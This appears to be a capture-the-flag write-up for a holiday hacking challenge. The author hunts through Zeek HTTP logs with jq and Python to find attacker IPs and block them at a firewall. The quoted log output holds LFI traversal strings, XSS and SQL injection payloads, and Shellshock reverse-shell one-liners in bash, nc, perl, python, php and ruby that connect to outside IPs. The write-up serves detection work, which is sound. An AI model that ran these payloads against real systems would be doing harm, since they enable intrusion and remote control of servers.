Objective

image-20200111162655484

Links:

Narrative

On finishing objective 11, The door to the sleigh shop opens, and Shinny tells me to go finish the task:

Wha - what?? You got into my crate?!

Well that’s embarrassing…

But you know what? Hmm… If you’re good enough to crack MY security…

Do you think you could bring this all to a grand conclusion?

Please go into the sleigh shop and see if you can finish this off!

Stop the Tooth Fairy from ruining Santa’s sleigh route!

On entering the Sleigh Shop, I find the Tooth Fairy herself!

image-20200112060749728

I’m the Tooth Fairy, the mastermind behind the plot to destroy the holiday season.

I hate how Santa is so beloved, but only works one day per year!

He has all of the resources of the North Pole and the elves to help him too.

I run a solo operation, toiling year-round collecting deciduous bicuspids and more from children.

But I get nowhere near the gratitude that Santa gets. He needs to share his holiday resources with the rest of us!

But, although you found me, you haven’t foiled my plot!

Santa’s sleigh will NOT be able to find its way.

I will get my revenge and respect!

I want my own holiday, National Tooth Fairy Day, to be the most popular holiday on the calendar!!!

Terminal - Zeek JSON Analysis

Challenge

There’s both a Sleigh Route Finder computer and a Cranberry Pi terminal in the room. For the hints and completeness, I’ll first talk to Wunorse Openslae about the terminal:

image-20200104175205119

Wunorse Openslae here, just looking at some Zeek logs.

I’m pretty sure one of these connections is a malicious C2 channel…

Do you think you could take a look?

I hear a lot of C2 channels have very long connection times.

Please use jq to find the longest connection in this data set.

We have to kick out any and all grinchy activity!

I’ll dive into the terminal and get a Linux prompt:

Some JSON files can get quite busy.
There's lots to see and do.
Does C&C lurk in our data?
JQ's the tool for you!
-Wunorse Openslae
Identify the destination IP address with the longest connection duration
using the supplied Zeek logfile. Run runtoanswer to submit your answer.
elf@95fbda59bfcb:~$ 

Solution

I’ve got one log file to look at, and it has 143,679 lines:

elf@95fbda59bfcb:~$ ls
conn.log
elf@95fbda59bfcb:~$  wc -l conn.log 
143679 conn.log

The hint to use jq is the right one here. I’ll take a look at the logs to get a feel for the format. I can use head -1 to get the top log, and then pipe it into jq to pretty print it:

elf@95fbda59bfcb:~$ head -1 conn.log | jq .
{
  "ts": "2019-04-04T20:34:24.698965Z",
  "uid": "CAFvAu2l50Km67tSP5",
  "id.orig_h": "192.168.144.130",
  "id.orig_p": 64277,
  "id.resp_h": "192.168.144.2",
  "id.resp_p": 53,
  "proto": "udp",
  "service": "dns",
  "duration": 0.320463,
  "orig_bytes": 94,
  "resp_bytes": 316,
  "conn_state": "SF",
  "missed_bytes": 0,
  "history": "Dd",
  "orig_pkts": 2,
  "orig_ip_bytes": 150,
  "resp_pkts": 2,
  "resp_ip_bytes": 372
}

Since I’m looking for the longest connection, I’ll focus on the duration field. Fortunately, jq has a max_by() function. So I can just run the log into jq and get the record with the longest duration. I’ll need to use -s to “slurp” multiple lines into jq as an array of records:

elf@8b10622c839e:~$ cat conn.log | jq -s 'max_by(.duration)'
{
  "ts": "2019-04-18T21:27:45.402479Z",
  "uid": "CmYAZn10sInxVD5WWd",
  "id.orig_h": "192.168.52.132",
  "id.orig_p": 8,
  "id.resp_h": "13.107.21.200",
  "id.resp_p": 0,
  "proto": "icmp",
  "duration": 1019365.337758,
  "orig_bytes": 30781920,
  "resp_bytes": 30382240,
  "conn_state": "OTH",
  "missed_bytes": 0,
  "orig_pkts": 961935,
  "orig_ip_bytes": 57716100,
  "resp_pkts": 949445,
  "resp_ip_bytes": 56966700
}

If I only wanted the dest IP, I could get it, but grabbing a field with a . in it is tricky. I can use this format:

elf@8b10622c839e:~$ cat conn.log | jq -s -r 'max_by(.duration) | .["id.resp_h"]'
13.107.21.200

runtoanswer solves it:

elf@8b10622c839e:~$ runtoanswer 
Loading, please wait......
What is the destination IP address with the longes connection duration? 13.107.21.200
Thank you for your analysis, you are spot-on.
I would have been working on that until the early dawn.
Now that you know the features of jq,
You'll be able to answer other challenges too.
-Wunorse Openslae
Congratulations!

Hints

On solving, Wunorse breaks down the current issues:

That’s got to be the one - thanks!

Hey, you know what? We’ve got a crisis here.

You see, Santa’s flight route is planned by a complex set of machine learning algorithms which use available weather data.

All the weather stations are reporting severe weather to Santa’s Sleigh. I think someone might be forging intentionally false weather data!

I’m so flummoxed I can’t even remember how to login!

Hmm… Maybe the Zeek http.log could help us.

I worry about LFI, XSS, and SQLi in the Zeek log - oh my!

And I’d be shocked if there weren’t some shell stuff in there too.

I’ll bet if you pick through, you can find some naughty data from naughty hosts and block it in the firewall.

If you find a log entry that definitely looks bad, try pivoting off other unusual attributes in that entry to find more bad IPs.

The sleigh’s machine learning device (SRF) needs most of the malicious IPs blocked in order to calculate a good route.

Try not to block many legitimate weather station IPs as that could also cause route calculation failure.

Remember, when looking at JSON data, jq is the tool for you!

Objective Challenge

SRF Login

Visiting Sleigh Route Finder (SRF), I’m presented a login form:

image-20200105055900604

Wunorse told me to go here, but says he can’t even remember how to login. I’ll remember what Kent Tinseltooth said to whoever hacked his smart braces:

Please no, they’re testing it at srf.elfu.org using default creds, but I don’t know more. It’s classified.

I’ll pull up ElfUResearchLabsSuperSledOMaticQuickStartGuideV1.2.pdf from Objective 10, and find the section on SRF on page 3:

image-20200105060254904

The default login credentials should be changed on startup and can be found in the readme in the ElfU Research Labs git repository.

At first I started looking for this git instance, but then I realized that if the application itself was in git, the readme file could have been pushed to the production server. The readme was located at https://srf.elfu.org/README.md, and contained the credentials “admin” / “924158F9522B3744F5FCD4D10FAC4356”:

image-20200105060852020

I could have also found the path looking in the Zeek logs for any uri with “readme” in it (case insensitive):

$ cat http.log | jq -r '.[] | select(.uri | ascii_downcase | contains("readme")) | .uri'
/README.md
/README/
/cgi-bin/README.TXT

Those creds work to log in, and return a page with three sections, API, Weather Map, and Firewall:

image-20200105134832404

There are bad weather reports worldwide, making it impossible to fly. The important part here is the Firewall, where firewall rules to block the poison data can be entered.

Zeek Data Exploration

I’ll download and decompress http.log. It’s a lot of characters on one line:

$ wc http.log 
       0  3838197 42779484 http.log

So unlike the previous JSON data where it was one record per line (and therefore I needed the -s option in jq), this data I expect is an array of logs. Looking at the start of the file confirms that:

$ head -c 100 http.log
[{"ts": "2019-10-05T06:50:42-0800", "uid": "ClRV8h1vYKWXN1G5ke", "id.orig_h": "238.27.231.56", "id.o

You can run jq '[pattern]' [log file], but I tend to do cat [log file] | jq '[pattern]'. They are equivalent. I mainly do it because it allows me to more easily up arrow and change the pattern slightly.

I’ll pull the first log to get a feel for the fields in the data:

$ cat http.log | jq '.[0]'
{
  "ts": "2019-10-05T06:50:42-0800",
  "uid": "ClRV8h1vYKWXN1G5ke",
  "id.orig_h": "238.27.231.56",
  "id.orig_p": 60677,
  "id.resp_h": "10.20.3.80",
  "id.resp_p": 80,
  "trans_depth": 1,
  "method": "GET",
  "host": "srf.elfu.org",
  "uri": "/14.10/Google/",
  "referrer": "-",
  "version": "1.0",
  "user_agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.2b4) Gecko/20091124 Firefox/3.6b4 (.NET CLR 3.5.30729)",
  "origin": "-",
  "request_body_len": 0,
  "response_body_len": 232,
  "status_code": 404,
  "status_msg": "Not Found",
  "info_code": "-",
  "info_msg": "-",
  "tags": "(empty)",
  "username": "-",
  "password": "-",
  "proxied": "-",
  "orig_fuids": "-",
  "orig_filenames": "-",
  "orig_mime_types": "-",
  "resp_fuids": "FUPWLQXTNsTNvf33",
  "resp_filenames": "-",
  "resp_mime_types": "text/html"
}

Now I can start to look at which fields might be targets of each kind of attack.

Identify Attacks

LFI

The first thing I queried for was .. in the uri:

$ cat http.log | jq -r '.[] | select(.uri | contains("..")) | .["uri"]'
/api/weather?station_id=../../../../../../../../../../bin/cat /etc/passwd\\x00|
/api/weather?station_id=/../../../../../../../../../../../etc/passwd
/api/login?id=/../../../../../../../../../etc/passwd
/api/weather?station_id=/../../../../../../../../etc/passwd

I noticed that all four had references to /etc/password, so I queried for that and found some other clear candidates:

$ cat http.log | jq -r '.[] | select(.uri | contains("etc/passwd")) | .["uri"]'
/api/weather?station_id="/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/etc/passwd
/api/weather?station_id=../../../../../../../../../../bin/cat /etc/passwd\\x00|
/api/stations?station_id=|cat /etc/passwd|
/api/weather?station_id=;cat /etc/passwd
/api/login?id=cat /etc/passwd||
/api/weather?station_id=`/etc/passwd`
/api/weather?station_id=/../../../../../../../../../../../etc/passwd
/api/login?id=/../../../../../../../../../etc/passwd
/api/weather?station_id=/../../../../../../../../etc/passwd
/api/weather?station_id=/etc/passwd
/api/login?id=.|./.|./.|./.|./.|./.|./.|./.|./.|./.|./.|./.|./etc/passwd

That’s 11. I did some other searches (consulting the PayloadsAllTheThings LFI list), but none turned up anything additional: %00, C:, %25 (double encoded), %2e (one result, in query above).

I’ll use the following query to get 11 malicious IPs:

$ cat http.log | jq -r '.[] | select(.uri | contains("etc/passwd")) | .["id.orig_h"]'      # LFI
XSS

To find Cross Site Scripting (XSS), I started with >. I’ll use to_entries, which will convert each key/value pair into a log with a key attribute and a value attribute. Then I can look in the values attribute for what I want.

I’ll look for > in any field using (I’ll filter out the proxied key because it contains false positives like "PROXY-CONNECTION -> Keep-Alive" which are benign):

$ cat http.log | jq -c '.[] | to_entries | .[] | select (.key != "proxied") | select (.value | tostring | contains(">"))'
{"key":"uri","value":"/logout?id=<script>alert(1400620032)</script>&ref_a=avdsscanning\\\"><script>alert(1536286186)</script>"}
{"key":"uri","value":"/api/weather?station_id=<script>alert(1)</script>.html"}
{"key":"uri","value":"/api/measurements?station_id=<script>alert(60602325)</script>"}
{"key":"uri","value":"/api/weather?station_id=<script>alert(autmatedsacnningist)</script>"}
{"key":"uri","value":"/api/weather?station_id=<script>alert(automatedscaning)</script>"}
{"key":"uri","value":"/api/stations?station_id=<script>alert('automatedscanning')</script>"}
{"key":"uri","value":"/api/weather?station_id=<script>alert('automatedscanning');</script>"}
{"key":"uri","value":"/api/stations?station_id=<script>alert(\\\"automatedscanning\\\")</script>"}
{"key":"uri","value":"/api/weather?station_id=<script>alert(\\\"automatedscanning\\\")</script>;"}
{"key":"user_agent","value":"() { :; }; /bin/bash -i >& /dev/tcp/31.254.228.4/48051 0>&1"}
{"key":"user_agent","value":"() { :; }; /usr/bin/perl -e 'use Socket;$i=\"83.0.8.119\";$p=57432;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};'"}
{"key":"user_agent","value":"() { :; }; /usr/bin/php -r '$sock=fsockopen(\"229.229.189.246\",62570);exec(\"/bin/sh -i <&3 >&3 2>&3\");'"}
{"key":"user_agent","value":"() { :; }; /usr/bin/ruby -rsocket -e'f=TCPSocket.open(\"227.110.45.126\",43870).to_i;exec sprintf(\"/bin/sh -i <&%d >&%d 2>&%d\",f,f,f)'"}
{"key":"host","value":"<script>alert(\\\"automatedscanning\\\");</script>"}
{"key":"host","value":"<script>alert(automatedscanning)</script>"}
{"key":"host","value":"<script>alert('automatedscanning');</script>&action=item"}
{"key":"host","value":"<script>alert(\\\"automatedscanning\\\");</script>&from=add"}
{"key":"host","value":"<script>alert('automatedscanning');</script>&function=search"}
{"key":"host","value":"<script>alert(\\\"automatedscanning\\\")</script><img src=\\\""}
{"key":"host","value":"<script>alert(\\\"avdscan-681165131\\\");d('"}

Those all look bad. The uri and host ones look like XSS. The middle four in user_agent look like Shellshock. I’ll look at those in a mintue. I did some other checks from PayloadsAllTheThings, but didn’t find anything additional.

I’ll use the following two queries to get 16 more malicious IPs:

$ cat http.log | jq -r '.[] | select(.uri | contains(">")) | .["id.orig_h"]'               # XSS
$ cat http.log | jq -r '.[] | select(.host | contains(">")) | .["id.orig_h"]'              # XSS
SQLi

I’ll run the same kind of query to look for ' (where "'"'"'" is the annoying way to write "'" inside ' ' in bash) in any field, using the sort to group by key:

$ cat http.log | jq -c '.[] | to_entries | .[] | select (.value | tostring | contains("'"'"'"))' | sort

I’ll look at the results by key. First, host:

{"key":"host","value":"<script>alert('automatedscanning');</script>&action=item"}
{"key":"host","value":"<script>alert('automatedscanning');</script>&function=search"}
{"key":"host","value":"<script>alert(\\\"avdscan-681165131\\\");d('"}

Those are all covered by XSS rules already.

resp_filename generates two false positives:


{"key":"resp_filenames","value":"Ned_and_Edna's_Blend.png"}
{"key":"resp_filenames","value":"Ned_Flanders's_smile.jpg"}

uri has one XSS hit, but the rest look like good SQLI attempts. I’ll write a rule from this:

{"key":"uri","value":"/api/login?id=1' UNION/**/SELECT/**/0,1,concat(2037589218,0x3a,323562020),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20"}
{"key":"uri","value":"/api/measurements?station_id=1' UNION SELECT 1434719383,1857542197 --"}
{"key":"uri","value":"/api/stations?station_id=1' UNION SELECT 1,2,'automatedscanning',4,5,6,7,8,9,10,11,12,13/*"}
{"key":"uri","value":"/api/stations?station_id=1' UNION SELECT 1,'automatedscanning','5e0bd03bec244039678f2b955a2595aa','',0,'',''/*&password=MoAOWs"}
{"key":"uri","value":"/api/stations?station_id=<script>alert('automatedscanning')</script>"}
{"key":"uri","value":"/api/weather?station_id=1' UNION SELECT 0,0,username,0,password,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 FROM xmas_users WHERE 1"}
{"key":"uri","value":"/api/weather?station_id=1' UNION/**/SELECT/**/0,1,concat(2037589218,0x3a,323562020),3,4,5,6,7,8,9,10,11,12,13,14,15,16"}
{"key":"uri","value":"/api/weather?station_id=1' UNION/**/SELECT/**/0,1,concat(2037589218,0x3a,323562020),3,4,5,6,7,8,9,10,11,12,13,14,15,16"}
{"key":"uri","value":"/api/weather?station_id=1' UNION+SELECT+1,1416442047"}
{"key":"uri","value":"/api/weather?station_id=1' UNION SELECT 1434719383,1857542197 --"}
{"key":"uri","value":"/api/weather?station_id=1' UNION/**/SELECT/**/2015889686,1,288214646/*"}
{"key":"uri","value":"/api/weather?station_id=1' UNION SELECT 2,'admin','$1$RxS1ROtX$IzA1S3fcCfyVfA9rwKBMi.','Administrator'/*&file=index&pass="}
{"key":"uri","value":"/api/weather?station_id=1' UNION/**/SELECT 302590057/*"}
{"key":"uri","value":"/api/weather?station_id=1' UNION/**/SELECT/**/850335112,1,1231437076/*"}
{"key":"uri","value":"/api/weather?station_id=1' UNION SELECT NULL,NULL,NULL--"}
{"key":"uri","value":"/api/weather?station_id=<script>alert('automatedscanning');</script>"}
{"key":"uri","value":"/logout?id=1' UNION/**/SELECT 1223209983/*"}
{"key":"uri","value":"/logout?id=1' UNION SELECT null,null,'autosc','autoscan',null,null,null,null,null,null,null,null/*"}

user_agent also finds some clearly malcious attempts (as well as the five Shellshock attempts):

{"key":"user_agent","value":"1' UNION SELECT 1,1409605378,1,1,1,1,1,1,1,1/*&blogId=1"}
{"key":"user_agent","value":"1' UNION/**/SELECT/**/1,2,434635502,4/*&blog=1"}
{"key":"user_agent","value":"1' UNION SELECT '1','2','automatedscanning','1233627891','5'/*"}
{"key":"user_agent","value":"1' UNION SELECT 1729540636,concat(0x61,0x76,0x64,0x73,0x73,0x63,0x61,0x6e,0x65,0x72, --"}
{"key":"user_agent","value":"1' UNION SELECT -1,'autosc','test','O:8:\\\"stdClass\\\":3:{s:3:\\\"mod\\\";s:15:\\\"resourcesmodule\\\";s:3:\\\"src\\\";s:20:\\\"@random41940ceb78dbb\\\";s:3:\\\"int\\\";s:0:\\\"\\\";}',7,0,0,0,0,0,0 /*"}
{"key":"user_agent","value":"1' UNION SELECT 1,concat(0x61,0x76,0x64,0x73,0x73,0x63,0x61,0x6e,0x6e,0x69,0x6e,0x67,,3,4,5,6,7,8 -- '"}
{"key":"user_agent","value":"1' UNION SELECT 1,concat(0x61,0x76,0x64,0x73,0x73,0x63,0x61,0x6e,0x6e,0x69,0x6e,0x67,,3,4,5,6,7,8 -- '"}
{"key":"user_agent","value":"1' UNION SELECT 1,concat(0x61,0x76,0x64,0x73,0x73,0x63,0x61,0x6e,0x6e,0x69,0x6e,0x67,,3,4,5,6,7,8 -- '"}
{"key":"user_agent","value":"1' UNION/**/SELECT/**/994320606,1,1,1,1,1,1,1/*&blogId=1"}
{"key":"user_agent","value":"() { :; }; /bin/bash -c '/bin/nc 55535 220.132.33.81 -e /bin/bash'"}
{"key":"user_agent","value":"() { :; }; /usr/bin/perl -e 'use Socket;$i=\"83.0.8.119\";$p=57432;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};'"}
{"key":"user_agent","value":"() { :; }; /usr/bin/php -r '$sock=fsockopen(\"229.229.189.246\",62570);exec(\"/bin/sh -i <&3 >&3 2>&3\");'"}
{"key":"user_agent","value":"() { :; }; /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"150.45.133.97\",54611));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"}
{"key":"user_agent","value":"() { :; }; /usr/bin/ruby -rsocket -e'f=TCPSocket.open(\"227.110.45.126\",43870).to_i;exec sprintf(\"/bin/sh -i <&%d >&%d 2>&%d\",f,f,f)'"}

username is also finding true positive attempts:

{"key":"username","value":"' or '1=1"}
{"key":"username","value":"' or '1=1"}
{"key":"username","value":"' or '1=1"}
{"key":"username","value":"' or '1=1"}

I did some additional queries for SELECT and UNION, as well as other key words, but didn’t find any additional log entries.

' in uri, user agent, and username will produce another 29 unique IPs for SQLI (as well as two repeats from XSS and five of the upcoming Shellshock):

cat http.log | jq -r '.[] | select(.uri | contains("'"'"'")) | .["id.orig_h"]'           # SQLI
cat http.log | jq -r '.[] | select(.user_agent | contains("'"'"'")) | .["id.orig_h"]'    # SQLI
cat http.log | jq -r '.[] | select(.username | contains("'"'"'")) | .["id.orig_h"]'      # SQLI
Shellshock

I stumbled across this while looking for XSS because the Shellshock payloads can use > for redirection. The Shellshock attack typically started with () { :;};. Searching on () turns up six attempts to exploit Shellshock, all in the user-agent string, which makes sense since that was a common attack vector:

$ cat http.log | jq -c '.[] | to_entries | .[] | select(.value | tostring | contains("()"))'
{"key":"user_agent","value":"() { :; }; /bin/bash -i >& /dev/tcp/31.254.228.4/48051 0>&1"}
{"key":"user_agent","value":"() { :; }; /bin/bash -c '/bin/nc 55535 220.132.33.81 -e /bin/bash'"}
{"key":"user_agent","value":"() { :; }; /usr/bin/perl -e 'use Socket;$i=\"83.0.8.119\";$p=57432;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};'"}
{"key":"user_agent","value":"() { :; }; /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"150.45.133.97\",54611));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"}
{"key":"user_agent","value":"() { :; }; /usr/bin/php -r '$sock=fsockopen(\"229.229.189.246\",62570);exec(\"/bin/sh -i <&3 >&3 2>&3\");'"}
{"key":"user_agent","value":"() { :; }; /usr/bin/ruby -rsocket -e'f=TCPSocket.open(\"227.110.45.126\",43870).to_i;exec sprintf(\"/bin/sh -i <&%d >&%d 2>&%d\",f,f,f)'"}

I’ll write a query to identify those:

$ cat http.log | jq -r '.[] | select(.user_agent | contains("()")) | .["id.orig_h"]'       # Shellshock
Results

I can run those seven queries to create block lists:

cat http.log | jq -r '.[] | select(.uri | contains("etc/passwd")) | .["id.orig_h"]' > lfi.blocks
cat http.log | jq -r '.[] | select(.uri | contains(">")) | .["id.orig_h"]' > xss.blocks
cat http.log | jq -r '.[] | select(.host | contains(">")) | .["id.orig_h"]' >> xss.blocks
cat http.log | jq -r '.[] | select(.uri | contains("'"'"'")) | .["id.orig_h"]' > sqli.blocks
cat http.log | jq -r '.[] | select(.user_agent | contains("'"'"'")) | .["id.orig_h"]' >> sqli.blocks
cat http.log | jq -r '.[] | select(.username | contains("'"'"'")) | .["id.orig_h"]' >> sqli.blocks
cat http.log | jq -r '.[] | select(.user_agent | contains("()")) | .["id.orig_h"]' > ss.blocks

They contain 62 unique IPs:

$ cat *.blocks | sort -u | wc -l
62

I need to find more.

Malware UAs

I created a list of all the user agent strings:

$ cat http.log | jq -r '.[] | .user_agent' > useragents

-r for raw will output CholTBAgent instead of "CholTBAgent".

Now I can make a histogram with sort and uniq -c:

$ cat useragents | sort | uniq -c | sort -n | less

And I’ll scroll through them, starting from least frequent. I see some of the Shellshock, and then I spot:

      2 CholTBAgent
      2 HttpBrowser/1.0
      2 Mozilla/4.0 (compatible; Metasploit RSPEC)

HttpBrowser/1.0 immediately jumped off the page as known APT malware. And the next one said Metasploit. Some googling on ChoTBAgent suggests it’s malware as well. Scrolling through some more, I found others, like FunWebProducts, AntivirXP08, RookIE, and WinInet. I started a list of malcious user agent strings.

But then I started looking at others that had only two hits:

      2 CholTBAgent
      2 HttpBrowser/1.0
      2 Mozilla/4.0 (compatible; Metasploit RSPEC)
      2 Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 500.0)
      2 Mozilla/4.0 (compatible MSIE 5.0;Windows_98)
      2 Mozilla/4.0 (compatible; MSIE 6.0; Windows 98) Opera 7.20  [en]
      2 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NETS CLR  1.1.4322)
      2 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT5.1)
      2 Mozilla/4.0 (compatible; MSIE6.0; Windows NT 5.1)
      2 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
      2 Mozilla/4.0 (compatible; MSIE 6.1; Windows NT6.0)
      2 Mozilla/4.0(compatible; MSIE 666.0; Windows NT 5.1
      2 Mozilla/4.0 (compatible; MSIE 6.a; Windows NTS)
      2 Mozilla/4.0 (compatible; MSIE 7.0; Windos NT 6.0)
      2 Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; AntivirXP08; .NET CLR 1.1.4322)
      2 Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tridents/4.0)
      2 Mozilla/4.0 (compatible;MSIE 7.0;Windows NT 6.
      2 Mozilla/4.0 (compatible; MSIE 8.0; Window NT 5.1)
      2 Mozilla/4.0 (compatible; MSIE 8.0; Windows MT 6.1; Trident/4.0; .NET CLR 1.1.4322; )
      2 Mozilla/4.0 (compatible; MSIE 8.0; Windows_NT 5.1; Trident/4.0)
      2 Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Tridents/4.0; .NET CLR 1.1.4322; PeoplePal 7.0; .NET CLR 2.0.50727)
      2 Mozilla/4.0 (compatible; MSIEE 7.0; Windows NT 5.1)
      2 Mozilla4.0 (compatible; MSSIE 8.0; Windows NT 5.1; Trident/5.0)
      2 Mozilla/4.0 (compatibl; MSIE 7.0; Windows NT 6.0; Trident/4.0; SIMBAR={7DB0F6DE-8DE7-4841-9084-28FA914B0F2E}; SLCC1; .N
      2 Mozilla/5.0 (compatible; Goglebot/2.1; +http://www.google.com/bot.html)
      2 Mozilla/5.0 (compatible; MSIE 10.0; W1ndow NT 6.1; Trident/6.0)
      2 Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET CLR 2.0.50727; Media Center PC 6.0)
      2 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.1b1) Gecko/20061110 Firefox/2.0b3
      2 Mozilla/5.0 (Windows NT 10.0;Win64;x64)
      2 Mozilla/5.0 (Windows NT 5.1 ; v.)
      2 Mozilla/5.0 (Windows NT 6.1; WOW62; rv:53.0) Gecko/20100101 Chrome /53.0
      2 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) ApleWebKit/525.13 (KHTML, like Gecko) chrome/4.0.221.6 safari/525.13
      2 Mozilla/5.0 Windows; U; Windows NT5.1; en-US; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.1 (.NET CLR 3.5.30729)
      2 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.3) gecko/20100401 Firefox/3.6.1 (.NET CLR 3.5.30731
      2 Mozilla/5.0 (Windows; U; Windows NT 5.1; sv-SE; rv:1.8.1.17) Gecko/20080829 Firefox/2.0.0.17
      2 Mozilla/5.0 WinInet
      2 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.10) Gecko/2009042523 Ubuntu/9.04 (jaunty) Firefox/3.0.10
      2 Opera/8.81 (Windows-NT 6.1; U; en)
      2 RookIE/1.0
      2 Wget/1.9+cvs-stable (Red Hat modified)

Almost every one of them had a typo or some sort, or an obvious malware name.

Pivot

At this point I povited, and I switched tools. jq is great for somethings, but the special characters possible in the ua strings were breaking my bash loops, and in general the complexity was raising. I brought in Python.

I pull the ua strings of the known 62 malicious records, and I looked for other records with those strings. I used Python:

#!/usr/bin/env python4

import json
from collections import Counter


def is_malicious(record):
    return (
        "etc/passwd" in record["uri"]
        or ">" in record["uri"]
        or ">" in record["host"]
        or "'" in record["uri"]
        or "'" in record["user_agent"]
        or "'" in record["username"]
        or "()" in record["user_agent"]
    )


print(f"[*] Loading http.log")
with open("http.log", "r") as f:
    data = json.load(f)

print(f"[*] Loaded {len(data)} records.")

malicious_rec = [rec for rec in data if is_malicious(rec)]
print(f"[+] Identified {len(malicious_rec)} malicious records")

print("[*] Pivoting on UA string")
malicious_uas = [rec["user_agent"] for rec in malicious_rec]
malicious_uas_records = [rec for rec in data if rec["user_agent"] in malicious_uas]

print(f"[+] Found {len(malicious_uas_records)} records that share UA with known bad")

When I run it:

$ python3 identify_bad_ips.py
[*] Loading http.log
[*] Loaded 55121 records.
[+] Identified 62 malicious records
[*] Pivoting on UA string
[+] Found 146 records that share UA with known bad

I can print the list of IPs, and enter it, but it fails. It’s too many. I then edited the script to give me a histogram of records across the entire data set that had one of the known malcious UAs by adding this to the end:

ua_cnt = Counter([rec["user_agent"] for rec in malicious_uas_records])

print("[*] Printing histogram of malcious UAs:")
print(
    "\n".join(
        [f"{ua_cnt[ua]:2} {ua}" for ua in sorted(ua_cnt, key=lambda x: -ua_cnt[x])]
    )
)

It prints the histogram:

17 Mozilla/5.0 (X11; U; Linux i686; it; rv:1.9.0.5) Gecko/2008121711 Ubuntu/9.04 (jaunty) Firefox/3.0.5
11 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; fr) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.2 Safari/525.22
11 Mozilla/5.0 (Windows; U; Windows NT 5.2; sk; rv:1.8.1.15) Gecko/20080623 Firefox/2.0.0.15
10 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.8) Gecko/20071004 Firefox/2.0.0.8 (Debian-2.0.0.8-1)
 5 Mozilla/4.0 (compatible;MSIe 7.0;Windows NT 5.1)
 3 1' UNION SELECT 1,concat(0x61,0x76,0x64,0x73,0x73,0x63,0x61,0x6e,0x6e,0x69,0x6e,0x67,,3,4,5,6,7,8 -- '
 2 HttpBrowser/1.0
 2 Mozilla/4.0 (compatible; MSIE6.0; Windows NT 5.1)
 2 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT5.1)
 2 Mozilla/4.0 (compatible; MSIE 6.1; Windows NT6.0)
 2 Mozilla/4.0 (compatible; MSIE 7.0; Windos NT 6.0)
 2 Mozilla/4.0 (compatibl; MSIE 7.0; Windows NT 6.0; Trident/4.0; SIMBAR={7DB0F6DE-8DE7-4841-9084-28FA914B0F2E}; SLCC1; .N
 2 Mozilla/4.0 (compatible; Metasploit RSPEC)
 2 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) ApleWebKit/525.13 (KHTML, like Gecko) chrome/4.0.221.6 safari/525.13
 2 Mozilla/5.0 (compatible; Goglebot/2.1; +http://www.google.com/bot.html)
 2 Mozilla/5.0 (compatible; MSIE 10.0; W1ndow NT 6.1; Trident/6.0)
 2 Mozilla/4.0 (compatible; MSIEE 7.0; Windows NT 5.1)
 2 Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; AntivirXP08; .NET CLR 1.1.4322)
 2 Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Tridents/4.0; .NET CLR 1.1.4322; PeoplePal 7.0; .NET CLR 2.0.50727)
 2 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
 2 Mozilla/5.0 (Windows NT 6.1; WOW62; rv:53.0) Gecko/20100101 Chrome /53.0
 2 Mozilla/4.0 (compatible; MSIE 8.0; Window NT 5.1)
 2 Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tridents/4.0)
 2 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NETS CLR  1.1.4322)
 2 Wget/1.9+cvs-stable (Red Hat modified)
 2 Mozilla/4.0 (compatible; MSIE 8.0; Windows MT 6.1; Trident/4.0; .NET CLR 1.1.4322; )
 2 Mozilla/5.0 (Windows NT 5.1 ; v.)
 2 CholTBAgent
 2 Mozilla/5.0 WinInet
 2 RookIE/1.0
 2 Mozilla/4.0 (compatible; MSIE 8.0; Windows_NT 5.1; Trident/4.0)
 2 Mozilla/4.0 (compatible;MSIE 7.0;Windows NT 6.
